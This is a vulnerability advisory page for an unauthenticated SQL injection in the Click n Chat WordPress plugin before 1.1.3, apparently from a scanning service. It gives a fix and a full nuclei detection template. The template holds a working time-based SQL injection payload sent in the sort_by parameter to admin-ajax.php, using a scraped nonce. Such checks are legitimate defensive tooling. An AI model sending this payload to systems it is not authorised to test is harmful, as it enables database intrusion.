Click n Chat < 1.1.3 - Unauthenticated SQL Injection

highseverity

8.6CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.

Impact

Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft or database compromise.

Fix

Upgrade to version 1.1.3 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "click_n_chat_ajax_object")
Send: @timeout: 10s
Positive when: status_code == 200 and duration >= 3 and contains(body, "data-colname")

Run it with nuclei: nuclei -id CVE-2026-92998 -u <target>

The full check

id: CVE-2026-92998

info:
  name: Click n Chat < 1.1.3 - Unauthenticated SQL Injection
  author: HaroonArshad-53
  severity: high
  description: |
    The Click n Chat (Chat Widget Integration) WordPress plugin before 1.1.3 does not sanitise sort parameters before using them in a SQL ORDER BY clause, allowing unauthenticated attackers to perform SQL injection attacks.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft or database compromise.
  remediation: |
    Upgrade to version 1.1.3 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-92998
    - https://nvd.nist.gov/vuln/detail/CVE-2026-92998
    - https://wordpress.org/plugins/click-n-chat/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-92998
    epss-score: 0.00359
    epss-percentile: 0.29919
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: click-n-chat
    product: click-n-chat
  tags: cve,cve2026,sqli,wordpress,wp-plugin,click-n-chat,time-based-sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "click_n_chat_ajax_object")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        part: body
        group: 1
        regex:
          - '"nonce"\s*:\s*"([0-9a-f]+)"'

  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=click_n_chat_update_lead_list_action&security={{nonce}}&page=1&sort_by=%28CASE+WHEN+%281%3D1%29+THEN+SLEEP%283%29+ELSE+0+END%29&sort_order=ASC&search%5Bname%5D=&search%5Bemail%5D=&search%5Bphone%5D=&search%5Bdate%5D=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration >= 3'
          - 'contains(body, "data-colname")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from